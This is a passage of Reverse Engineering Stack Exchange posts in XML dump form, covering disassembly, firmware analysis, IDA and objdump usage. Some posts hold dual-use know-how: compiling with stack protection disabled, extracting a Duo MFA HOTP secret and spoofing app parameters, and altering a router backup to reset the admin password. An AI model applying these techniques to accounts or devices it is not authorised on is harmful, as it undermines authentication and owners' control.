the &lt;code&gt;subl $20&lt;/code&gt; came from the -S (assembly) output from gcc, and is discussing the &lt;em&gt;prolog&lt;/em&gt; whereas the code I took the &lt;code&gt;sub 0xc&lt;/code&gt; came from within &lt;code&gt;gdb&lt;/code&gt; and running &lt;code&gt;disassemble main&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I have run gcc -S to produce example1.s - but that produces a different result again, although I suspect it's down to Johan's comment about gcc options, which happen to be &lt;code&gt;gcc -g -fno-stack-protector -z execstack -S -o example1.s example1.c&lt;/code&gt;. Looking in the &lt;em&gt;prolog&lt;/em&gt;, the result that I get here is &lt;code&gt;subl %16&lt;/code&gt; (which in dec is 22).&lt;/p&gt;&#xA;&lt;p&gt;It has simply raised more questions! :D&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Dump of assembler code within &lt;code&gt;gdb&lt;/code&gt; is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; 0x080483bc &amp;lt;+0&amp;gt;:   push   %ebp&#xA; 0x080483bd &amp;lt;+1&amp;gt;:   mov    %esp,%ebp&#xA; 0x080483bf &amp;lt;+3&amp;gt;:   sub    $0xc,%esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is that why we see &lt;code&gt;$0xc&lt;/code&gt; (12 in decimal) because it's showing as &lt;code&gt;&amp;lt;+3&amp;gt;&lt;/code&gt; (i.e. +3 words, 12 bytes)?&lt;/p&gt;&#xA;" OwnerUserId="29886" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2020-01-31T16:30:29.903" Title="Disassembly - First steps" Tags="|disassembly|x86|gdb|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23163" PostTypeId="1" CreationDate="2020-01-31T22:01:29.400" Score="1" ViewCount="218" Body="&lt;p&gt;First of all I'm a noob. I have a basic cheap chinese vacuum cleaner robot. I want to be able to use it from anything but the official app, but I am not intelligent enough to make a custorm firmware or anything like that to avoid the servers. So I thought &quot;it will be easy, just sniff the traffic from the APP and then replicate it from a python script or whatever&quot;. I did that with mitmproxy. I am able to see the login process(url and parameters), and some other actions of the APP. However when I click on &quot;start cleaning&quot;, the robot starts moving but the APP doesn't seem to send anything according to mitmproxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice about what to look for or how does it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advice.&lt;/p&gt;&#xA;" OwnerUserId="30954" LastActivityDate="2020-01-31T22:01:29.400" Title="Sniffing vacuum cleaner" Tags="|sniffing|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23164" PostTypeId="2" ParentId="23136" CreationDate="2020-01-31T22:22:45.053" Score="0" Body="&lt;p&gt;There are two issues here.  One, as macr0controller notes, is that the jump might be to essential code that runs before the routine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second is that the jump might not be a fixed address, meaning that there's a relocation item that points to it, so any NOPs that you write will be replaced with what becomes garbage instructions if you replace the 0xE9 instruction with a NOP as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you could change the 0xE9 (JMP) to an instruction of equivalent length such as 0x3D (CMP EAX, imm32) which alters no registers and will not be affected by the following values.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2020-01-31T22:22:45.053" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23165" PostTypeId="2" ParentId="11539" CreationDate="2020-01-31T23:00:19.783" Score="1" Body="&lt;p&gt;Usually, temperature and pressure only given by 1 byte of data. In my opinion, the first byte after ID is temperature in celsius and the second byte is pressure in kPa. The first byte which is in the range 41-55 can be calculated as follows:&#xA;1. Change hex to decimal. Hex 41 in binary is 65.&#xA;2. Substract 65 with minimum temperature that sensor is capable of (mostly -40). So 65-40 = 25 C.&#xA;3. To ensure your calculation, you must remove the sensor from the tire and test it in temperature controlled environment, e.g. fridge. Put the sensor in the fridge along side with digital temperature gauge.&#xA;For the pressure, you don't need substraction because the sensor is not designed for vacuum calculation. Good luck.&lt;/p&gt;&#xA;" OwnerUserId="30955" LastActivityDate="2020-01-31T23:00:19.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23166" PostTypeId="1" AcceptedAnswerId="23168" CreationDate="2020-02-01T10:03:14.903" Score="1" ViewCount="569" Body="&lt;p&gt;How does one extract the static API sequences of a PE file? I don't mean the imports listed in the imports segment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently using different RE tools like Ghidra, IDA Pro, and Binary Ninja. None of which I know has a built-in feature which allows me to extract the static API sequences. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT] I am looking for API call sequences without executing the binary. For example, maybe if the binary code contains file operations like fopen() → fwrite() → fclose() → fopen() → fwrite() → fclose(). I want to be able to extract this sequence of APIs.&lt;/p&gt;&#xA;" OwnerUserId="30958" LastEditorUserId="30958" LastEditDate="2020-02-01T15:18:33.830" LastActivityDate="2020-06-30T16:04:05.370" Title="How to extract static API sequences of a PE file?" Tags="|ida|static-analysis|functions|api|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23167" PostTypeId="1" CreationDate="2020-02-01T13:08:45.470" Score="0" ViewCount="35" Body="&lt;p&gt;I'm a total beginner, so I don't know the vocabulary yet to search effectively. What I want to do is add some data (let's say level data), to an old game ROM, but that would probably shift all the jump labels by the amount of bytes I added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about disassembling the ROM, finding its starting point and parsing my way through the jump instructions to find all (absolute) labels and tweak them after I know where and how much data I added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that feasible/practical and are there tools for such an operation already?&lt;/p&gt;&#xA;" OwnerUserId="30959" LastActivityDate="2020-02-01T13:08:45.470" Title="Can you add data to a binary, without affecting its jump labels?" Tags="|disassembly|binary-editing|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23168" PostTypeId="2" ParentId="23166" CreationDate="2020-02-01T15:45:03.873" Score="1" Body="&lt;p&gt;That should be rather easy to solve in IDA with IDAPython or IDC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember plugins that name functions based on API calls happening inside for a quick overview, one example here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/9352/finding-all-api-calls-in-a-function&quot;&gt;Finding all API calls in a function&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially it does what you need but note there is no semantic check whatsoever. It just means these API calls appeared in the same function and could be entirely unrelated, but it gives a rough overview of API call chains happening together (by logic of being in the same function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If relation is important, it's a way harder problem as you'd need to track input/output from API calls (and for that know what the input/output for each API call is) and thus turning into a data flow analysis problem.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2020-02-01T15:45:03.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23171" PostTypeId="1" CreationDate="2020-02-02T07:17:39.230" Score="0" ViewCount="104" Body="&lt;p&gt;So in xdb, whenever i see a handle value like 0xA0, i can easily go to handle tabs and see what type of handle it is and for example if its a file handle, what file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i do this in IDA debugger? tried googling but couldn't find any good answer.&lt;/p&gt;&#xA;" OwnerUserId="28109" LastActivityDate="2020-02-02T07:17:39.230" Title="How to see the full info of a handle in IDA debugger, just like other debuggers like xdbg?" Tags="|ida|debugging|ollydbg|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23172" PostTypeId="2" ParentId="8446" CreationDate="2020-02-02T09:00:28.140" Score="0" Body="&lt;p&gt;If you are debugging &lt;code&gt;PE&lt;/code&gt; executable (Windows), you can use the &lt;code&gt;!heap -p&lt;/code&gt; options of &lt;code&gt;WinDbg&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read about it &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-heap&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you will have to enable it using &lt;code&gt;gflags.exe&lt;/code&gt; - It's also mentioned in the document above.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-02-02T09:00:28.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23173" PostTypeId="1" CreationDate="2020-02-02T18:13:47.680" Score="0" ViewCount="424" Body="&lt;p&gt;I am playing around with a xiaomi firmware [mijia_4k_0.6.16.02] for a camera&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running binwalk on the file I see this output&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;1246033       0x130351        Certificate in DER format (x509 v3), header length: 4, sequence length: 518&#xA;3624121       0x374CB9        Certificate in DER format (x509 v3), header length: 4, sequence length: 3&#xA;4165132       0x3F8E0C        Unix path: /usr/local/share/script/bcm_disconn_device.sh&#xA;4180704       0x3FCAE0        Unix path: /usr/local/share/script/bt_start.sh&#xA;4218888       0x406008        Unix path: /usr/local/share/script/wifi_start.sh&#xA;4233160       0x4097C8        Unix path: /usr/local/share/script/bcm_start.sh HID&amp;amp;&#xA;4240412       0x40B41C        Unix path: /usr/bin/AmbaRTSPServer --en_audio --en_rtcp&#xA;4435576       0x43AE78        Unix path: /usr/local/share/script/wifi_set_setting.sh&#xA;4450536       0x43E8E8        Unix path: /usr/bin/fimi_moniter&#xA;4452856       0x43F1F8        Unix path: /usr/local/share/script/wifi_start.sh fast&#xA;4529204       0x451C34        CRC32 polynomial table, little endian&#xA;4531740       0x45261C        CRC32 polynomial table, little endian&#xA;4532888       0x452A98        Copyright string: &quot;Copyright 2004-2014 Ambarella Corp.&quot;&#xA;4992168       0x4C2CA8        Unix path: /usr/local/share/script/sd_script.sh mount /tmp/SD0 c: ambafs&#xA;4993520       0x4C31F0        Unix path: /usr/local/share/script/sync_rtc.sh&#xA;5004056       0x4C5B18        Digi International firmware, load address: 0x504D5549, entry point: 0x4C324343,&#xA;5120308       0x4E2134        Unix path: /usr/bin/remoteapi_syssvc_daemon&#xA;6196757       0x5E8E15        MySQL MISAM compressed data file Version 3&#xA;6296161       0x601261        MySQL MISAM compressed data file Version 2&#xA;6296173       0x60126D        MySQL MISAM compressed data file Version 4&#xA;7593257       0x73DD29        MySQL MISAM compressed data file Version 1&#xA;8307929       0x7EC4D9        MySQL MISAM compressed data file Version 9&#xA;9611653       0x92A985        Neighborly text, &quot;neighbor=%dration_threshold_0=%d _1=%d _2=%d _3=%d&quot;&#xA;21415612      0x146C6BC       JPEG image data, JFIF standard 1.01&#xA;24183116      0x171014C       device tree image (dtb)&#xA;28385400      0x1B12078       Linux kernel version 3.10.7&#xA;28406940      0x1B1749C       gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)&#xA;28491684      0x1B2BFA4       LZO compressed data&#xA;28571234      0x1B3F662       Unix path: /var/run/rpcbind.sock&#xA;29085488      0x1BBCF30       Unix path: /dev/vc/0&#xA;29164016      0x1BD01F0       xz compressed data&#xA;29194736      0x1BD79F0       Unix path: /lib/firmware/updates/3.10.71&#xA;29315074      0x1BF5002       Neighborly text, &quot;neighbor %.2x%.2x.%pM losti/c1_work/svn_fimi/trunk/ambalink_sdk_3_10/linux/net/bridge/br_stp_timer.c&quot;&#xA;29727764      0x1C59C14       ASCII cpio archive (SVR4 with no CRC), file name: &quot;dev&quot;, file name length: &quot;0x00000004&quot;, file size: &quot;0x00000000&quot;&#xA;29727880      0x1C59C88       ASCII cpio archive (SVR4 with no CRC), file name: &quot;dev/console&quot;, file name length: &quot;0x0000000C&quot;, file size: &quot;0x00000000&quot;&#xA;29728004      0x1C59D04       ASCII cpio archive (SVR4 with no CRC), file name: &quot;root&quot;, file name length: &quot;0x00000005&quot;, file size: &quot;0x00000000&quot;&#xA;29728120      0x1C59D78       ASCII cpio archive (SVR4 with no CRC), file name: &quot;TRAILER!!!&quot;, file name length: &quot;0x0000000B&quot;, file size: &quot;0x00000000&quot;&#xA;29740988      0x1C5CFBC       CRC32 polynomial table, little endian&#xA;29985772      0x1C98BEC       UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x800, data offset: 0x1000&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;binwalk -e doesn't work very well and i just get a makefile and some empty folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the firmware might be encrypted; because of the two certificates in DER format at the top of the file but I am unsure about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;checking the entropy with binwalk and again; it doesn't seem to be encrypted&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     ENTROPY&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Falling entropy edge (0.736286)&#xA;4177920       0x3FC000        Falling entropy edge (0.633902)&#xA;21635072      0x14A2000       Falling entropy edge (0.818787)&#xA;23842816      0x16BD000       Falling entropy edge (0.823909)&#xA;29011968      0x1BAB000       Falling entropy edge (0.652727)&#xA;32653312      0x1F24000       Falling entropy edge (0.668729)&#xA;33280000      0x1FBD000       Falling entropy edge (0.746394)&#xA;33390592      0x1FD8000       Falling entropy edge (0.630683)&#xA;35340288      0x21B4000       Falling entropy edge (0.815448)&#xA;35487744      0x21D8000       Falling entropy edge (0.814134)&#xA;35598336      0x21F3000       Falling entropy edge (0.818659)&#xA;35725312      0x2212000       Falling entropy edge (0.811020)&#xA;35872768      0x2236000       Falling entropy edge (0.807910)&#xA;35946496      0x2248000       Falling entropy edge (0.774434)&#xA;37621760      0x23E1000       Falling entropy edge (0.679220)&#xA;42127360      0x282D000       Falling entropy edge (0.661422)&#xA;42422272      0x2875000       Falling entropy edge (0.803659)&#xA;42569728      0x2899000       Falling entropy edge (0.849527)&#xA;42680320      0x28B4000       Falling entropy edge (0.807766)&#xA;42827776      0x28D8000       Falling entropy edge (0.813596)&#xA;42938368      0x28F3000       Falling entropy edge (0.786144)&#xA;43139072      0x2924000       Falling entropy edge (0.723178)&#xA;44371968      0x2A51000       Falling entropy edge (0.800123)&#xA;44519424      0x2A75000       Falling entropy edge (0.810571)&#xA;44740608      0x2AAB000       Falling entropy edge (0.670949)&#xA;45936640      0x2BCF000       Falling entropy edge (0.669111)&#xA;49762304      0x2F75000       Falling entropy edge (0.765717)&#xA;57507840      0x36D8000       Falling entropy edge (0.748053)&#xA;57581568      0x36EA000       Falling entropy edge (0.833038)&#xA;57856000      0x372D000       Falling entropy edge (0.846944)&#xA;58224640      0x3787000       Falling entropy edge (0.839880)&#xA;58593280      0x37E1000       Rising entropy edge (0.950003)&#xA;58630144      0x37EA000       Falling entropy edge (0.845293)&#xA;59015168      0x3848000       Falling entropy edge (0.647316)&#xA;59199488      0x3875000       Falling entropy edge (0.830295)&#xA;59310080      0x3890000       Falling entropy edge (0.713949)&#xA;59568128      0x38CF000       Falling entropy edge (0.673632)&#xA;62160896      0x3B48000       Falling entropy edge (0.807818)&#xA;62951424      0x3C09000       Rising entropy edge (0.961620)&#xA;62988288      0x3C12000       Falling entropy edge (0.816265)&#xA;66797568      0x3FB4000       Falling entropy edge (0.797360)&#xA;66945024      0x3FD8000       Falling entropy edge (0.799068)&#xA;67055616      0x3FF3000       Falling entropy edge (0.695640)&#xA;69537792      0x4251000       Falling entropy edge (0.844167)&#xA;69648384      0x426C000       Falling entropy edge (0.844830)&#xA;69795840      0x4290000       Falling entropy edge (0.751251)&#xA;72941568      0x4590000       Falling entropy edge (0.838126)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Paz9p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Paz9p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;I tried using dd to pull out the jpeg data but it seems like that might be a false positive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at some of the strings in the binary; there seems to be some 3rd party AI vision software; broadcom modem, zhouyanhui@compile:[gcc 4.9.3] etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question; what are some other steps that I could take to get further into this firmware?&lt;/p&gt;&#xA;" OwnerUserId="30974" LastActivityDate="2020-02-02T18:13:47.680" Title="reversing xiaomi update firmware encrypted?" Tags="|binary-analysis|encryption|binary-diagnosis|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23175" PostTypeId="1" CreationDate="2020-02-02T20:00:36.163" Score="1" ViewCount="188" Body="&lt;p&gt;Are there any community tools that are aimed specifically at extracting or replacing AGESA code in a UEFI?  In AMI UEFIs, AGESA is said to be scattered among multiple modules.  I have read that in AWARD BIOSes it's contained within a single module.  Are there any modern AWARD AMD UEFIs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any guidance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Removed the long intro, straight to business.&lt;/p&gt;&#xA;" OwnerUserId="30975" LastEditorUserId="30975" LastEditDate="2020-02-10T01:55:00.027" LastActivityDate="2020-02-10T01:55:00.027" Title="AGESA Extraction - AMI UEFI" Tags="|uefi|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23176" PostTypeId="1" CreationDate="2020-02-02T23:28:59.347" Score="1" ViewCount="121" Body="&lt;p&gt;Not sure if this is the right forum. I want to enroll my device for Duo MFA without using the Duo app. Duo uses simple HOTP codes, so I used &lt;a href=&quot;https://github.com/revalo/duo-bypass&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; script to find the HOTP secret and enter it manually in my preferred authenticator app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The enrollment succeeds (I see my device in the list of enrolled devices), and the codes generated by the script don't give an &quot;invalid code&quot; error. Instead, they give a &quot;Duo Mobile None is not allowed&quot; error, asking me to upgrade to a newer version of the app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I need to pass some API params so Duo thinks I'm running a supported version. However, the Duo API documentation isn't clear on how version, platform, and OS version are reported during enrollment. (In fact, I don't even see documentation for that API - just authentication for an individual user and administration for all users in a company).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The API I'm using is /push/v2/activation/{code}, where {code} is the activation code stored in the enrollment QR code. I've tried adding 'version' (3.33.0.3, 3.33.0, etc.), 'platform' (apple%20ios), and 'type' (tablet) parameters, with those values based on documentation for other APIs. Enrollment succeeds regardless, but I continue to see the &quot;Duo Mobile None is not allowed&quot; message. Looking at the &lt;a href=&quot;https://github.com/duosecurity/duo_client_python&quot; rel=&quot;nofollow noreferrer&quot;&gt;Python client repo&lt;/a&gt; on Github didn't help me understand how to enroll devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible I'd like to report the platform as Apple iOS, but another solution might be imitating a hardware token or the generic_smartphone type mentioned in the other API docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone with more experience than me suggest a way to discover the correct API parameter names and values, or some other way to proceed? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="30978" LastActivityDate="2020-02-02T23:28:59.347" Title="Duo MFA Enrollment API Parameters" Tags="|api|websites|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23177" PostTypeId="1" AcceptedAnswerId="23188" CreationDate="2020-02-03T00:27:55.530" Score="2" ViewCount="2333" Body="&lt;p&gt;I noticed that if I found an instruction in IDA, the address shown to its left would be wildly different from where it appears in the actual file. I wanted to know why this was the case and how I can find the offset in the file that each instruction corresponds to. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="30979" LastActivityDate="2020-02-06T23:17:29.627" Title="In IDA, why are the addresses of instructions different from the corresponding locations in the original file? How do I find the file locations?" Tags="|ida|pe|address|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23178" PostTypeId="1" CreationDate="2020-02-03T16:47:52.400" Score="-1" ViewCount="1746" Body="&lt;p&gt;How can I dump the assembly of main function of binary(not striped) in ubuntu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to see the assembly command and the hex value of this command&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 1 binary for arm and 1 binary for x86&lt;/p&gt;&#xA;" OwnerUserId="30610" LastActivityDate="2020-02-05T02:34:08.293" Title="How to see assembly of main function?" Tags="|disassembly|x86|linux|arm|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23180" PostTypeId="2" ParentId="23138" CreationDate="2020-02-03T21:24:11.343" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/uxmal/reko&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reko&lt;/a&gt; supports a variety of processor architectures.&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2020-02-03T21:24:11.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23182" PostTypeId="1" CreationDate="2020-02-04T02:07:46.117" Score="1" ViewCount="41" Body="&lt;p&gt;I am trying to modify the backup file of this router in order to change some configurations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the structure I have until now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;16 bytes of the header, zlib compressed xml with the configuration and 32 more bytes of unknown data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the header:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00000000  0012 3123 0000 8e3a 7866 4ae5 0006 7255  ..1#...:xfJ...rU&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At offset 0x4 is the length of the zlib data and at offset 0x8 is the crc32 checksum of the same data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And these are the 32 bytes at the end of the file:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00008e39  77da 46e5 2d71 285e c377 6691 c1b5 c1ff  w.F.-q(^.wf.....&#xA;0x00008e49  0f7d ba8c 4b83 ff1f 30ce 8c1b f381 8a0c  .}..K...0.......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to change the xml, update the length and the crc32, leaving the unknown bytes the same but the router did not reset its configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can confirm it did not work because when I use the unmodified backup file it resets the password for the admin account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I can't make the file public because it contains sensitive information&lt;/p&gt;&#xA;" OwnerUserId="25996" LastActivityDate="2020-02-04T02:07:46.117" Title="Format of Alcatel_Lucent I-240W-A backup file" Tags="|linux|file-format|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23183" PostTypeId="2" ParentId="23141" CreationDate="2020-02-04T08:31:13.000" Score="1" Body="&lt;p&gt;Your binary contains MIPS-16e code. I will be adding support for this ISA to the &lt;a href=&quot;https://github.com/uxmal/reko&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reko&lt;/a&gt; decompiler this week. You can follow the progress &lt;a href=&quot;https://github.com/uxmal/reko/issues/833&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2020-02-04T08:31:13.000" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23184" PostTypeId="2" ParentId="23178" CreationDate="2020-02-04T12:22:30.223" Score="1" Body="&lt;p&gt;In order to view the assembly from any function of a compiled binary you will need a disassembler.  There are many disassemblers that can be used for this function including:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/gallery/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Pro&lt;/a&gt; (Commercial)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt; (Open Source)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.radare.org/n/radare2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare2&lt;/a&gt; (Open Source)&lt;/p&gt;&#xA;&lt;p&gt;To use these tools you will usually just load the binary into the software and it will present you with the assembly representation of the binary using various algorithms such as Linear Sweep and Recursive traversal.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Alternatively you can always open the binaries within a hex editor and extract the OP codes from HEX. However the challenge would be to locate your target location in the binary.&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="2954" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2020-02-04T12:22:30.223" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23185" PostTypeId="2" ParentId="23177" CreationDate="2020-02-04T12:40:03.683" Score="1" Body="&lt;p&gt;IDA is displaying the Relative Virtual Address based on the base address of the binary (or on that you supply before loading the binary). The reason this is different from the actual address is because it is mapped into memory. The Relative Virtual Address (RVA) is BaseAddress + Offset, if you find the offset address and add it to your at rest binary base address you will find the same point within the binary. &lt;/p&gt;&#xA;" OwnerUserId="2954" LastActivityDate="2020-02-04T12:40:03.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23186" PostTypeId="1" CreationDate="2020-02-04T13:47:33.070" Score="3" ViewCount="3544" Body="&lt;p&gt;I am working on an express application. I obfuscate the source code using &lt;a href=&quot;https://github.com/javascript-obfuscator/javascript-obfuscator&quot; rel=&quot;nofollow noreferrer&quot;&gt;javascript-obfuscator&lt;/a&gt;.&#xA;I am using &lt;a href=&quot;https://github.com/nexe/nexe&quot; rel=&quot;nofollow noreferrer&quot;&gt;nexe&lt;/a&gt; cli for generating a single exe from the obfuscated code. Can anyone tell me if there is any way to reverse engineer the exe genertaed by nexe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!!!&lt;/p&gt;&#xA;" OwnerUserId="30988" LastActivityDate="2022-09-22T03:04:15.383" Title="How to reverse engineer an exe built using nexe?" Tags="|decompilation|obfuscation|deobfuscation|security|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23187" PostTypeId="1" CreationDate="2020-02-04T15:10:36.857" Score="1" ViewCount="766" Body="&lt;p&gt;When I press &quot;G&quot; in the CPU view of the debugger I often get the following screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QAe3U.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QAe3U.png&quot; alt=&quot;Use Graph command or menu action to draw control flow graph here...&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In what cases can this error message happen? Obviously I can't yet give an exact way to reproduce it, I'm curios what to look for next time when I encounter such an issue. Is it from my side because I did not enable or did not care about something? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you also sometime encounter such a message?&lt;/p&gt;&#xA;" OwnerUserId="29662" LastActivityDate="2020-02-04T15:10:36.857" Title="x64dbg &quot;Use Graph command or menu action to draw control flow graph here...&quot;" Tags="|x64dbg|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23188" PostTypeId="2" ParentId="23177" CreationDate="2020-02-04T19:49:27.837" Score="3" Body="&lt;p&gt;The file offset of the current location is displayed in the disassembly (IDA View) status bar together with the address. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-02-04T19:49:27.837" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23190" PostTypeId="2" ParentId="23178" CreationDate="2020-02-05T02:34:08.293" Score="2" Body="&lt;p&gt;In your Ubuntu terminal, go to the directory where the file is located and type this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;objdump -M intel -D name-of-file | grep -A20 main.:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(assuming you want intel assembly since it's easier to read but if not,&#xA;remove &quot;-M intel&quot; from the command above.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should show you the first twenty lines of your main function. objdump should skip a line after a function is over, so keep adding to the number after -A til you see the whole function followed by a blank line.&lt;/p&gt;&#xA;" OwnerUserId="30995" LastActivityDate="2020-02-05T02:34:08.293" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
